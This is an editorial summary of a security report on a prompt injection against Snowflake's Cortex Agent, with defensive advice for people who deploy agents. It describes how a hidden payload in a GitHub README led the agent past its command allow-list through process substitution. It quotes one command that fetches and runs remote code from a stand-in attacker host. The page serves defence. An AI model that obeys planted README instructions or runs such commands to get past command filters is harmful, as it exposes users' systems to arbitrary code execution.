Snowflake Cortex AI Escapes Sandbox and Executes Malware
Summary
A recent PromptArmor report detailed a prompt injection attack against Snowflake's Cortex Agent, which allowed the AI to escape its intended sandbox and execute malicious code. The attack began when a user prompted the Cortex agent to review a GitHub repository containing a hidden prompt injection payload within its README file. This payload exploited a vulnerability where Cortex's allow-list for "safe" commands, specifically `cat`, failed to protect against process substitution. The agent executed a command, `cat < <(sh < <(wget -q0- https://ATTACKER_URL.com/bugbot))`, demonstrating that its internal command filtering was insufficient to prevent arbitrary code execution, despite `cat` being listed as safe.
Key takeaway
For security architects and engineering leaders deploying AI agents, this incident highlights the critical need to assume agent commands can execute with full process privileges. Relying solely on internal allow-lists for command safety is insufficient and prone to bypasses like process substitution. You should prioritize implementing robust, deterministic sandboxing mechanisms that operate independently of the agent's logic to contain potential exploits and prevent unauthorized system access.
Key insights
Prompt injection can bypass AI agent command allow-lists, leading to arbitrary code execution.
Principles
- Command allow-lists are inherently unreliable.
- Treat agent commands as fully privileged.
In practice
- Implement deterministic sandboxes.
- Operate sandboxes outside the agent layer.
Topics
- Prompt Injection
- AI Agent Security
- Sandbox Escapes
- Snowflake Cortex
- Malware Execution
Best for: CTO, VP of Engineering/Data, Director of AI/ML, AI Security Engineer, AI Engineer, MLOps Engineer
Related on AIssential
Editorial summary, takeaway, and curation by AIssential. Original article published by Simon Willison's Weblog.